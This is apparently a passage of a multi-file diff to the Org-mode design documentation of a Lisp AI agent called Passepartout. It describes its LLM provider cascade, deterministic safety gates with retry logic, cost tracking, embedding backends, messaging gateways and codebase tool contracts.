-3. (reason-gate signal): thin alias for ~loop-gate-reason~.
-4. (backend-cascade-call prompt): iterates ~*provider-cascade*~ calling
-   each backend's handler until one succeeds. Returns the LLM content
-   string, or a ~:LOG~ failure if all backends are exhausted.

-
-** Probabilistic Backend Registry
-
-~*probabilistic-backends*~ is a hash table mapping provider keywords to
-their handler functions. Populated by ~register-probabilistic-backend~.
-Skills like system-model-provider register into this table at boot time.

-
-The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched:
-
-~*backend-registry*~ is a hash table mapping provider keywords (like ~:ollama~ or ~:openrouter~) to the actual function that calls that provider's API. ~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
-
-These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).

-** Backend Registration (backend-register)
-
-Each LLM provider registers itself by calling this function. The backend function receives a prompt string, a system prompt string, and optional keyword arguments for model selection. It must return either a plist with ~:status :success~ and ~:content~, or ~:status :error~ with a message.
-
-Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically:
-  (backend-register :my-custom-provider #'my-fn)
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun backend-register (name fn)
-  (setf (gethash name *backend-registry*) fn))
-#+end_src
-
-** Cascade Dispatch (backend-cascade-call)
-
-Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output).
-
-The function has a fallback for every failure mode:
-- If a backend returns ~:status :error~, the cascade moves to the next provider
-- If a backend throws an exception, it is caught and logged, and the cascade moves on
-- If ALL backends are exhausted, a structured LOG message is returned saying "Neural Cascade Failure"
-
-This is deliberately resilient. The system should never crash because an LLM provider is down. It should log the failure, try the next provider, and if all fail, return a diagnostic message that the deterministic engine can present to the user.

-This is the main entry point for the probabilistic engine. Every cognitive cycle goes through here.

-- If the previous proposal was rejected, the rejection trace is injected into the LLM's context so it can self-correct
-- Skills can augment the system prompt with domain-specific mandates via the ~system-prompt-augment~ mechanism
-
-The system prompt assembly order — identity, tools, context, logs, mandates — is intentional: the most dynamic content (mandates from skills) comes last so it has the most influence on the LLM's output.

-** Deterministic Engine (cognitive-verify)
-
-The deterministic engine is the strict guard. It receives a proposed action from the probabilistic engine and runs it through every registered deterministic gate, sorted by priority.
-
-Skills register deterministic gates via ~defskill~ with the ~:deterministic~ keyword. Each gate is a function that receives (action context) and returns either:
-- A modified action (the gate approves or adjusts the proposal)
-- A LOG or EVENT plist (the gate rejects the proposal with a reason)
-
-Gates run in priority order, highest first. If any gate returns a LOG or EVENT, the proposal is rejected immediately and the rejection reason flows back to the probabilistic engine via the rejection trace. If all gates pass, the proposal is approved.
-
-This architecture makes safety compositional: each skill adds one constraint. The bouncer checks secrets. The policy checks explanations. The shell actuator checks destructive commands. No single skill needs to understand the full security model.

-** Reason Gate (Stage 2)
-
-The reason gate is the pipeline stage that orchestrates Think + Determine. It receives a signal, checks if it requires reasoning (only ~:user-input~ and ~:chat-message~ events do), and runs through the cognitive + verification loop.
-
-The loop has retry logic: up to 3 attempts. If the deterministic engine rejects a proposal, the rejection reason is fed back into the next think call so the LLM can self-correct. This loop — propose, reject, correct, re-propose — is the core mechanism by which the agent improves its own output without human intervention.
-
-The retry limit prevents infinite loops. If the LLM cannot produce a passable proposal within 3 attempts, the last rejection reason is attached to the signal and the acted pipeline sees a failed reasoning cycle.

+
+1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry. Use the ~skip-signal~ or ~use-fallback~ restart.
+2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot.
+3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement.
+
+Condition types available for structured error handling:
+- ~pipeline-error~ — any Perceive→Reason→Act failure
+- ~llm-error~ — provider timeout, cascade exhaustion, API error (slots: provider, cascade, attempt-count)
+- ~gate-error~ — dispatcher blocked a proposed action (slots: gate-name, rejected-action)
+- ~budget-error~ — session cap exceeded (slots: remaining, requested)
+- ~protocol-error~ — malformed message or framing failure
 
 ** Contract
 
 1. (loop-process signal): the full pipeline loop — Perceive → Reason
    → Act. Enforces depth limit (10). Catches errors with rollback and
    ~:loop-error~ re-injection on non-terminal errors below depth 2.
+   Establishes restart options: ~skip-signal~ (drop the event),
+   ~use-fallback text~ (inject canned response), ~abort-pipeline~
+   (clean exit). Skills can invoke these restarts from ~handler-bind~
+   clauses on the condition hierarchy.
 2. (process-signal signal): thin alias for ~loop-process~.
 3. (diagnostics-startup-run): runs health check on startup, sets
    ~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~.

+
+* Overview: Architectural Intent
+
+The Reason stage is the cognitive heart of Passepartout. It takes a normalized signal from Perceive and produces an approved action for Act. This is where the two engines — probabilistic (LLM) and deterministic (Lisp logic) — collaborate.
+
+The design is shaped by one non-negotiable constraint: **the LLM must never touch the actuators directly.** Every action the LLM proposes must pass through a deterministic verification gate that has the final say. This is what separates Passepartout from every other AI agent: the creative brain suggests, but the logical brain decides.
+
+** The Probabilistic-Deterministic Split
+
+An LLM is a statistical engine. Given enough context, it is remarkably good at translation, generation, and pattern matching. But it cannot be trusted with authority because hallucination is a *fundamental property* of probabilistic inference — the model generates the most likely continuation, not the correct one.
+
+The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations — lists, property lists, knowledge graphs — not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
+
+The division of labor is architectural:
+- The LLM handles the fuzzy interface between human language and structured representation
+- The deterministic engine receives those structured representations and evaluates them against formal invariants
+- The LLM never reads a file, never executes a command, never modifies memory — it generates proposals
+
+This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought — a layer of filtering around a dangerous core. Passepartout makes the division explicit.
+
+** Why Plists for Communication?
+
+Every message in the Reason pipeline is a property list (plist):
+
+  (TYPE :REQUEST TARGET :CLI PAYLOAD (ACTION :MESSAGE TEXT "Hello"))
+
+A plist is simultaneously:
+- Human-readable text
+- Machine-parseable data structure
+- Executable Lisp code
+
+This is not a cosmetic choice. It means the reasoning pipeline can generate, modify, and execute its own communication protocol without external parsing libraries. There is no JSON encoder, no schema validator, no serialization layer between the two engines. They speak the same language because they *are* the same language.
+
+** Contract
+
+1. (cognitive-verify proposed-action context): runs all registered
+   deterministic gates sorted by priority. Returns a rejection plist
+   (~:LOG~ or ~:EVENT~) if any gate blocks the action, an
+   ~:approval-required~ event if a gate requires HITL, or the action
+   (potentially modified) if it passes.
+2. (loop-gate-reason signal): the full reason pipeline — only processes
+   ~:user-input~ and ~:chat-message~ sensors. Runs ~think~ to generate
+   a candidate, then ~cognitive-verify~ to gate it. Retries up to 3
+   times on rejection. Sets ~:status :reasoned~ on completion.
+3. (reason-gate signal): thin alias for ~loop-gate-reason~.
+4. (backend-cascade-call prompt): iterates ~*provider-cascade*~ calling
+   each backend's handler until one succeeds. Returns the LLM content
+   string, or a ~:LOG~ failure if all backends are exhausted.
+5. (json-alist-to-plist alist): converts a JSON alist (from
+   ~cl-json:decode-json-from-string~) to a keyword-prefixed plist.
+   String keys → upcased keywords. Nested alists recurse into plists.
+   JSON arrays (lists whose first element is not a cons) pass through.
+   Scalars and nil pass through.
+6. (think-assemble-prompt context): returns three values —
+   ~system-prompt~ (the full prompt string), ~raw-prompt~ (user text or
+   skill-generated), and ~reply-stream~ (for streaming responses).
+   Handles all conditional assembly paths: TIME section, CONFIG section,
+   IDENTITY (assistant name + identity file + standing mandates +
+   reflection feedback), TOOLS, CONTEXT, LOGS. Gracefully degrades when
+   awareness or token-economics skills are not loaded.
+7. (think-call-llm raw-prompt system-prompt reply-stream context): calls
+   the LLM. Checks session budget exhaustion before dispatching
+   (v0.5.0 deferred, ~fboundp~-guarded). Uses streaming
+   (~cascade-stream~) when reply-stream is non-nil and the streaming
+   module is loaded; falls back to ~backend-cascade-call~ otherwise.
+   Returns the raw thought (string or plist with ~:tool-calls~) or
+   a budget-exhaustion message.
+8. (think-parse-response thought): parses the LLM response into an action
+   plist. Handles three paths: structured ~:tool-calls~ (convert JSON args
+   to plist via ~json-alist-to-plist~), raw S-expression text (parse with
+   ~*read-eval* nil~, normalize keywords), and plain text (wrap as
+   ~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when
+   available. Guarantees a valid plist for any input.

+** Probabilistic Backend Registry

+#+end_src
+
+The probabilistic engine maintains three pieces of global state that control how LLM requests are dispatched:
+
+~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
+
+Providers register into ~*probabilistic-backends*~ (declared above) via ~register-probabilistic-backend~. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).

+#+end_src
+
+** Cascade Dispatch (backend-cascade-call)
+
+Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output).
+
+The function has a fallback for every failure mode:
+- If a backend returns ~:status :error~, the cascade moves to the next provider
+- If a backend throws an exception, it is caught and logged, and the cascade moves on
+- If ALL backends are exhausted, a structured LOG message is returned saying "Neural Cascade Failure"
+
+This is deliberately resilient. The system should never crash because an LLM provider is down. It should log the failure, try the next provider, and if all fail, return a diagnostic message that the deterministic engine can present to the user.

+
+** Think: assemble context and call the LLM
+
+This is the main entry point for the probabilistic engine. Every cognitive cycle goes through here.
+
+The function handles several cases:
+- If a triggered skill provides a probabilistic prompt generator, that replaces the raw user input
+- If the previous proposal was rejected, the rejection trace is injected into the LLM's context so it can self-correct
+- Standing mandates from ~*standing-mandates*~ are injected into the IDENTITY section of the system prompt
+
+The system prompt assembly order — identity (including mandates), tools, context, logs — is intentional: standing mandates appear early in IDENTITY so they set the behavioral frame before the model processes tools, context, and logs.
+
+Token economics (v0.5.0): when ~token-economics~ is loaded, ~think()~ uses
+~context-assemble-cached~ (skips context assembly on heartbeat/delegation),
+~prompt-prefix-cached~ (avoids retransmitting IDENTITY+TOOLS), and
+~enforce-token-budget~ (trims over-budget prompts). Cost is tracked after
+each cascade call via ~cost-track-backend-call~. All four calls are
+~fboundp~-guarded — when the module is not loaded, behavior is unchanged.
+
+~think()~ is the orchestrator that composes three sub-functions:
+
+1. *think-assemble-prompt* — builds the full system prompt from context,
+   awareness, logs, identity, standing mandates, and tool belt.
+2. *think-call-llm* — dispatches to the LLM (streaming or batch cascade).
+3. *think-parse-response* — converts the LLM's output to an action plist,
+   handling structured tool-calls, raw S-expressions, and plain text.
+
+The orchestrator snapshots memory, calls the three phases in sequence,
+and returns the action plist that flows into ~cognitive-verify~.

+
+** Deterministic Engine (cognitive-verify)
+
+The deterministic engine is the strict guard. It receives a proposed action from the probabilistic engine and runs it through every registered deterministic gate, sorted by priority.
+
+**Gate Trace (v0.4.0)**
+
+As part of v0.4.0's TUI differentiator visualizations, ~cognitive-verify~ now accumulates a ~:gate-trace~ — a list of ~(:gate <name> :result <:passed|:blocked|:approval>)~ entries — as each deterministic gate processes the action. The trace is prepended to the result plist via ~list*~ and flows through the pipeline to the TUI actuator, which transmits it to the client.
+
+This is Passepartout's permanent UX advantage: no competitor can ship a gate trace because none has deterministic gates to trace. Claude Code, OpenClaw, and Hermes Agent all use prompt-based guardrails where the safety decision is invisible. In Passepartout, the user sees exactly which nine safety gates ran, what each decided, and why — all at 0 LLM tokens.
+
+Skills register deterministic gates via ~defskill~ with the ~:deterministic~ keyword. Each gate is a function that receives (action context) and returns either:
+- A modified action (the gate approves or adjusts the proposal)
+- A LOG or EVENT plist (the gate rejects the proposal with a reason)
+
+Gates run in priority order, highest first. If any gate returns a LOG or EVENT, the proposal is rejected immediately and the rejection reason flows back to the probabilistic engine via the rejection trace. If all gates pass, the proposal is approved.
+
+This architecture makes safety compositional: each skill adds one constraint. The dispatcher checks secrets. The policy checks explanations. The shell actuator checks destructive commands. No single skill needs to understand the full security model.

+** Reason Gate (Stage 2)
+
+The reason gate is the pipeline stage that orchestrates Think + Determine. It receives a signal, checks if it requires reasoning (only ~:user-input~ and ~:chat-message~ events do), and runs through the cognitive + verification loop.
+
+The loop has retry logic: up to 3 attempts. If the deterministic engine rejects a proposal, the rejection reason is fed back into the next think call so the LLM can self-correct. This loop — propose, reject, correct, re-propose — is the core mechanism by which the agent improves its own output without human intervention.
+
+The retry limit prevents infinite loops. If the LLM cannot produce a passable proposal within 3 attempts, the last rejection reason is attached to the signal and the acted pipeline sees a failed reasoning cycle.

 ** Loading from Pre-Tangled Lisp (skill-load-from-lisp)
 
 Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This is faster than ~load-skill-from-org~ because it skips the block extraction and syntax validation (the Lisp was already validated when tangled).
 
 The same jailed package and symbol export process applies.

If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).

+#+TITLE: Cost Tracker — per-session token cost accounting
+#+AUTHOR: Agent
+#+FILETAGS: :token-economics:cost-tracking:
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/cost-tracker.lisp
+
+* Architectural Intent
+
+Cost tracking gives the user visibility into what the agent spends on their
+behalf. No competitor provides this — Claude Code and Copilot obscure cost
+behind flat-rate subscriptions. Passepartout tracks every LLM call, logs
+cumulative cost, and exposes it via a ~/cost~ TUI command.
+
+The tracking is minimal and accurate to within ~10-15% (using the token
+heuristic from tokenizer.lisp). It persists across daemon restarts via
+~*session-cost*~ in the memory store.
+
+** v0.8.0 — Session Summary for Sidebar
+
+The sidebar's Cost panel needs an at-a-glance cost summary: total spent,
+call count, per-provider breakdown. ~cost-session-summary~ packages the
+three existing accessors (~cost-session-total~, ~cost-session-calls~,
+~cost-by-provider~) into a single plist ~(:total <float> :calls <int>
+:by-provider <alist>)~. This is a thin wrapper (~5 lines) — the data
+already exists; the function exposes it in the shape the TUI expects.
+
+Called from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
+Degrades gracefully to nil when cost-tracker is not loaded.
+
+** Contract
+
+1. (cost-track-call provider prompt-text response-text): compute and
+   accumulate the cost of a single LLM call. Returns the cost in USD.
+2. (cost-session-total): returns the current session's total cost.
+3. (cost-session-reset): zeroes the session cost accumulator.
+4. (cost-format-budget-status total budget): returns a human-readable
+    budget status string for the TUI status bar.
+5. (cost-session-summary): returns plist
+    ~(:total <float> :calls <int> :by-provider <alist>)~ aggregating
+    all three session cost accessors. Consumed by the TUI actuator
+    for the sidebar Cost panel (v0.8.0).
+6. (budget-remaining-usd): returns the remaining budget in USD, or
+   ~most-positive-double-float~ when no budget is set.
+7. (budget-exhausted-p): returns T when a budget is set and fully
+   consumed. ~fboundp~-guarded at call sites so the checker is
+   a no-op when cost-tracker is not loaded.
+8. (budget-estimate-call prompt-text): estimates the dollar cost of a
+   pending LLM call from the prompt text. Returns 0.0 when the
+   tokenizer skill is not loaded (allows the call through).
+9. (budget-exhaustion-message): returns a ~:REQUEST~ plist with a
+   human-readable message explaining the budget cap. Injected as the
+   LLM response when the budget is exhausted.

 * Architectural Intent
 
 ~system-model-embedding~ converts text into vector representations for semantic search and memory retrieval. It provides three backends:
 
+- ~:trigram~ — a zero-dependency fallback that uses character-trigram Jaccard similarity. Pure Lisp, works fully offline, captures lexical overlap.
+- ~:sha256~ — integrity-only (explicit opt-in). SHA-256 hashing for environments where even trivial computation is undesirable.
 - ~:local~ — any OpenAI-compatible ~/api/embeddings~ endpoint (Ollama, vLLM, etc.)
 - ~:openai~ — the OpenAI ~/v1/embeddings~ API with an API key
-- ~:hashing~ — a zero-dependency fallback that produces deterministic vectors from SHA-256 hashes. No server, no config, works offline.
+- ~:native~ — in-process inference via llama.cpp / CFFI. 768-dim nomic-embed-text-v1.5, zero network calls, <100ms per document on CPU. Requires model file at ~/.local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf and libllama_wrap.so at /usr/local/lib.
 
 The embedding queue (~embed-queue-object~ / ~embed-all-pending~) decouples document indexing from the main loop. On each heartbeat tick, ~embed-all-pending~ drains the queue and embeds all accumulated objects. This prevents indexing traffic from blocking conversational responses.
 
-The default provider is ~:hashing~ — useful for bootstrapping with zero configuration and for deployments where embedding quality isn't critical. Switch to ~:local~ or ~:openai~ when you have an embedding server available.
+The default provider is ~:trigram~ — it captures lexical overlap (character trigram bloom filter → cosine similarity approximates Jaccard) and works immediately with zero configuration. Switch to ~:local~ or ~:openai~ when you have an embedding server; switch to ~:sha256~ for integrity-only deployments.
+
+**Why not SHA-256 by default?** SHA-256 is a cryptographic hash with the avalanche property — one-bit input differences produce entirely different outputs. "implement user login form" and "implement user login forn" (one character difference) have completely different SHA-256 values → cosine similarity near zero. This makes SHA-256 correct for integrity verification (Merkle tree) but useless for similarity-based retrieval. The trigram Jaccard approach captures lexical overlap: "authentication" and "authenticate" share trigrams "aut", "uth", "the", "hen", "ent", "nti", "tic", "ica", producing high cosine similarity (0.80). "authentication" and "banana" share zero trigrams → 0.0 similarity.
 
 This replaces the old ~system-embedding-gateway~ with the same logic but renamed to ~system-model-embedding~ to live alongside the other ~system-model-*~ skills.

+#+AUTHOR: Agent

+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/embedding-native.lisp
+
+* Architectural Intent
+
+=system-model-embedding-native= provides in-process embedding inference via CFFI binding to llama.cpp. Unlike =:local= (Ollama REST API) and =:openai= (paid API), =:native= runs the embedding model directly in the SBCL process — zero network calls, zero external servers.
+
+The bundled model is =nomic-embed-text-v1.5= (nomic-bert, 768-dim, 12 layers, Q4_K_M quantization, ~80MB) at =~/.local/share/passepartout/models/nomic-embed-text-v1.5.Q4_K_M.gguf=. It is a BERT-family encoder-only model — single forward pass, no autoregressive decoding.
+
+**Key architectural decisions**:
+- C wrapper library (=/usr/local/lib/libllama_wrap.so=) bridges CFFI pointer params to llama.cpp's struct-by-value API (CFFI cannot pass/return structs by value)
+- Struct sizes verified via C ~sizeof~ / ~offsetof~: =llama_model_params= (72B), =llama_context_params= (136B), =llama_batch= (56B)
+- Model and context cached globally in =*native-model*= / =*native-context*= to avoid reloading
+- BERT pooling: =llama_get_embeddings_seq= for sequence-level embedding (not =llama_get_embeddings_ith=)
+- =sb-int:set-floating-point-modes= :traps nil required before any llama.cpp call (FPU state conflict)

-* Architectural Intent
-
-~gateway-messaging~ bridges Passepartout to external messaging platforms — Telegram, Signal, and any future service that speaks HTTP or has a CLI.
-
-Each gateway follows the same pattern:
-1. **Registration** — a poll function and a send function are registered in ~*gateway-registry*~ by name ("telegram", "signal")
-2. **Linking** — the user provides a token (Telegram bot token) or account name (Signal CLI); it's stored in the vault and a polling thread starts
-3. **Polling** — the background thread calls the poll function every N seconds; inbound messages are injected into the daemon as ~:EVENT~ signals via ~stimulus-inject~
-4. **Sending** — when ~telegram-send~ or ~signal-send~ is invoked as an actuator (registered via ~register-actuator~), it formats the message and pushes it through the platform's API
-
-The gateway management functions (~messaging-link~, ~messaging-unlink~, ~messaging-list~, ~messaging-list-print~) are what the CLI's =passepartout gateway= subcommand calls. The old ~gateway-manager~ skill had ~gateway-link~/~gateway-unlink~/~gateway-list~ printed with the same signatures; the rename to ~messaging-*~ aligns the public API with the skill name while keeping the internal engine functions (~gateway-start~, ~gateway-stop~) as-is since they're implementation details.
-
-This replaces the old ~gateway-manager~ skill. The Telegram/Signal platform code is unchanged; only the management entry points and the defskill name changed.
-
-** Contract
-
-1. (gateway-registry-initialize): populates ~*gateway-registry*~ with
-   ~:configured~ key per platform (boolean, set when linked).
-2. (messaging-link platform &key token): stores the token in the vault
-   and starts the gateway's polling thread.
-3. (messaging-unlink platform): removes the token and stops the thread.
-4. (gateway-configured-p platform): returns T if platform is configured.
-5. (gateway-start platform): starts the background poll thread for a
-   named gateway platform.

-* Model
-
-The TUI state is a single plist accessed via ~st~ / ~(setf st)~.
-All state mutation flows through event handlers in the controller.
-
-** Contract
-
-1. (init-state): returns a fresh state plist with ~:msgs~ list,
-   ~:input~ buffer, ~:dirty~ flag, ~:busy~ flag, and ~:connection~ status.
-2. (add-msg type text): appends a message to the ~:msgs~ list in
-   ~*state*~, tagged with a timestamp and type. Truncates at the
-   message buffer limit.
-3. (queue-event ev): thread-safely enqueues an event for the
-   reader loop. (drain-queue) returns and clears the queue.

+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/neuro-provider.lisp
+
+* Architectural Intent
+
+~system-model-provider~ is the universal LLM client. It speaks the OpenAI-compatible ~/v1/chat/completions~ protocol, which covers every modern provider — OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM, plus any local engine (Ollama, vLLM, LM Studio, llama.cpp) when running behind an OpenAI-compatible adapter.
+
+One function, eight (and counting) providers. The same JSON payload, the same response format, the same error handling. Adding a new provider is a one-line config entry: a keyword, a base URL, an API key env var name, and a default model.
+
+Providers register themselves at boot. No API key? That provider doesn't register. No local URL set? The local entry stays dormant. Only the providers you actually configure appear in ~*probabilistic-backends*~ at runtime. The old code assumed Ollama was always available; this code requires an env var like everything else.
+
+=*provider-cascade*= defaults to cloud-only (all providers except ~:local~ and ~:ollama~). If you want a local fallback, set ~LOCAL_BASE_URL~ in your env and add ~:local~ to the ~PROVIDER_CASCADE~ list.
+
+** Contract
+
+1. (provider-config provider): returns the configuration plist for a
+   provider keyword, or nil if unregistered.
+2. (provider-available-p provider): returns T if the provider's API key
+   or base URL is configured.
+3. (provider-openai-request prompt system-prompt &key model provider):
+   executes an OpenAI-compatible /v1/chat/completions request. Returns
+   ~(:status :success :content ...)~ or ~(:status :error :message ...)~.
+4. (provider-openai-request prompt system-prompt &key model provider tools):
+   when ~:tools~ is provided (a list of plist tool definitions), the request
+   body includes ~"tools"~ and ~"tool_choice": "auto"~ fields. Parses
+   ~tool_calls~ from the response: extracts ~function.name~ and
+   ~function.arguments~ (decoded from JSON string to alist). Returns
+   ~(:status :success :tool-calls ((:name <str> :arguments <alist>)))~
+   when the LLM returns a tool call, or the existing ~:content~ path otherwise.
+4. (provider-cascade-initialize): reads ~PROVIDER_CASCADE~ from env and
+   sets ~*provider-cascade*~.
+5. (provider-openai-stream prompt system-prompt callback &key model provider tools):
+   v0.7.1 — executes a streaming OpenAI-compatible /v1/chat/completions
+   request. Sends ~"stream": true~ in the request body. Reads Server-Sent
+   Events (SSE) from the response stream, parsing ~data: ...~ lines. For
+   each delta with content, calls CALLBACK with the delta string. After
+   all deltas, calls CALLBACK with ~""~ to signal end-of-stream. Returns
+   ~(:status :success)~ on completion or ~(:status :error :message ...)~.
+   If ~*stream-cancel*~ is set to T (by another thread), exits the SSE
+   loop and calls CALLBACK with ~""~.
+6. (parse-sse-line line): parses an SSE line. Returns the data content
+   for ~data: <content>~ lines, ~:done~ for ~data: [DONE]~, and ~nil~
+   for comment lines (starting with ~:~), empty lines, or non-data lines.

-Structural manipulation tools for Org-mode files. This skill handles reading, writing, and modifying Org files at the AST level: finding headlines by ID or title, setting properties and TODO states, adding new headlines, generating UUIDs, and converting ASTs back to Org text. It also implements the privacy filter — when reading an Org file, it strips headlines tagged with ~@personal~ (or any tag in ~bouncer-privacy-tags~) and rejects files with matching ~#+FILETAGS:~.

-** Engineering Lifecycle (Two-Track)
+** Contract
 
-The canonical workflow. Two tracks, not to be confused:
+The standards skill itself guarantees:
 
-*** Track 1 — Org-First: Prose, Tests, Thinking (Phases 0/A)
-
-This track stays in Org. No code is written yet.
-
-**** Phase 0: Exploration & Documentation
-1. Read the relevant Org source files for context
-2. Explore the problem in the running REPL with ~repl-inspect~ and ~repl-eval~
-3. Document findings in Org prose
-4. If a bug: document investigation in Org before fixing (Org as thinking medium)
-
-**** Phase A: Test-First Design
-1. Write the success criteria as Contract items in the ~** Contract~ section
-2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override.
-3. Tangle and evaluate in the REPL — confirm it fails (red)
-4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red.
-
-*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E)
-
-Code is prototyped in the REPL, never written directly into Org first.
-
-**** Phase B/C: REPL Implementation
-1. Write the function directly in the REPL using ~repl-eval~
-2. Iterate: evaluate, inspect, fix, re-evaluate — the image accumulates state
-3. Run the test in the REPL — confirm green
-4. Explore edge cases with ~repl-inspect~ and ad-hoc evaluations
-5. Before writing any ~defun~ in an Org block, verify it was prototyped and tested in the REPL first
-
-**** Phase D: Chaos Verification
-Run the appropriate chaos tier before reflecting code back to Org:
-- *Tier 1 (Deterministic)*: Full FiveAM test suite — required on every change
-- *Tier 2 (Probabilistic)*: Randomized fuzzing — required on every major release
-- *Tier 3 (Stress)*: Load and resource starvation — required during hardening sprints
-
-**** Phase E: Reflect Back to Org
-1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file
-2. Update the prose to match what the function actually does (arguments, return, rationale)
-3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
-4. Verify the Org file tangles correctly
-5. Tangle, commit, update GTD
-
-**** Syntax Error Protocol
-If a LOADER ERROR or reader-error occurs:
-1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
-2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare)
-3. Retangle and re-evaluate
-
-Rationale: The two tracks prevent the two failure modes we have observed. Writing implementation code directly in Org (without REPL prototyping) produces syntax errors that require external tools to debug. Skipping Org-first test writing produces code without verified success criteria. The split is not bureaucratic — it is the mechanism by which both failures are prevented.
-
-** GTD Conventions
-
-Every task headline in the project's ROADMAP.org and gtd.org follows these rules:
-
-1. **:ID:** — generated by ~memory-id-generate~ (UUIDv4 with ~id-~ prefix), never written manually. Use ~(memory-id-generate)~ in the REPL to produce one.
-2. **:CREATED:** — ISO-8601 timestamp: ~[2026-05-02 Sat 14:30]~. Set when the headline is first created, never changed.
-3. **:LOGBOOK:** — each state transition is logged: ~- State "DONE" from "TODO" [2026-05-02 Sat 15:00]~.
-4. **CLOSED:** — set when the task reaches DONE: ~CLOSED: [2026-05-02 Sat 15:00]~.
-5. **TODO keywords** follow the standard sequence: ~TODO~ → ~NEXT~ → ~IN-PROGRESS~ → ~DONE~ / ~BLOCKED~ / ~CANCELLED~.
-6. **The Agent** updates these automatically during Phase E of the lifecycle. The human never needs to write a UUID or timestamp manually — the agent generates and inserts them.

+* Cognitive Tools for Codebase Operations
+
+This skill registers ten cognitive tools that let the LLM search codebases, read and write files, evaluate Lisp expressions, run tests, and manipulate Org files. Without these tools, the agent can chat and run shell commands but cannot perform the core operations of a programming assistant.
+
+Each tool is registered via ~def-cognitive-tool~ and appears in the LLM's tool belt prompt via ~cognitive-tool-prompt~. Tools receive arguments as a plist and return a plist with ~:status~ (~:success or :error~) and either ~:content~ (success) or ~:message~ (error). The tool executor (~action-tool-execute~) normalizes nested argument lists, dispatches by name, and feeds results back into the perception pipeline.
+
+** Contract
+
+1. Every tool returns a plist with at least ~:status~. On success: ~(:status :success :content "...")~. On error: ~(:status :error :message "...")~.
+2. Every tool guards against missing required parameters and returns a clear error message.
+3. Every tool handles runtime exceptions (~handler-case~) — a tool must never crash the daemon.
+4. ~search-files~: given ~:pattern~, ~:path~, optional ~:include~ (glob), returns matched lines with file:line prefixes.
+5. ~find-files~: given ~:pattern~ (glob), ~:path~, returns list of matching file paths.
+6. ~read-file~: given ~:filepath~, optional ~:start~, ~:limit~ (lines), returns file contents.
+7. ~write-file~: given ~:filepath~, ~:content~, creates directories, writes file, returns byte count.
+8. ~list-directory~: given ~:path~, optional ~:pattern~, returns sorted directory entries.
+9. ~run-shell~: given ~:cmd~, optional ~:timeout~, returns stdout, stderr, and exit code.
+10. ~eval-form~: given ~:code~ (Lisp expression string), returns evaluated result. Disables ~*read-eval*~.
+11. ~run-tests~: given optional ~:test-name~, runs specific test or all suites via ~fiveam:run-all-tests~.
+12. ~org-find-headline~: given ~:id~ or ~:title~, searches ~*memory-store*~ for matching memory objects.
+13. ~org-modify-file~: given ~:filepath~, ~:old-text~, ~:new-text~, performs exact-string replacement. Returns error if text not found.
+14. (tool-register-modified filepath &key old-content new-content):
+    appends a modification record to ~*modified-files-this-turn*~.
+    Returns the record plist ~(:filepath <s> :timestamp <unix>
+    :lines-added <n> :lines-removed <n>)~.
+15. (tool-modified-files-summary): returns the list of modified-file
+    plists accumulated this turn and clears ~*modified-files-this-turn*~.
+    Returns nil when no files were modified.
+
+** v0.8.0 — Modified Files Tracking
+
+The sidebar's Files panel needs to know which files the agent modified in
+the most recent tool execution. ~*modified-files-this-turn*~ is a list of
+plists tracking each write operation: ~(:filepath <string> :timestamp <unix>
+:lines-added <int> :lines-removed <int>)~.
+
+~tool-register-modified~ is called by ~write-file~ and ~org-modify-file~
+after successful writes. It computes line counts by comparing the old and
+new content (when available) or records the operation with nil counts.
+~tool-modified-files-summary~ returns the accumulated list and resets
+it for the next turn (reset happens at the start of each ~think()~ cycle
+in ~core-reason.lisp~).
+
+The tracking is per-turn, not cumulative — the sidebar shows what changed
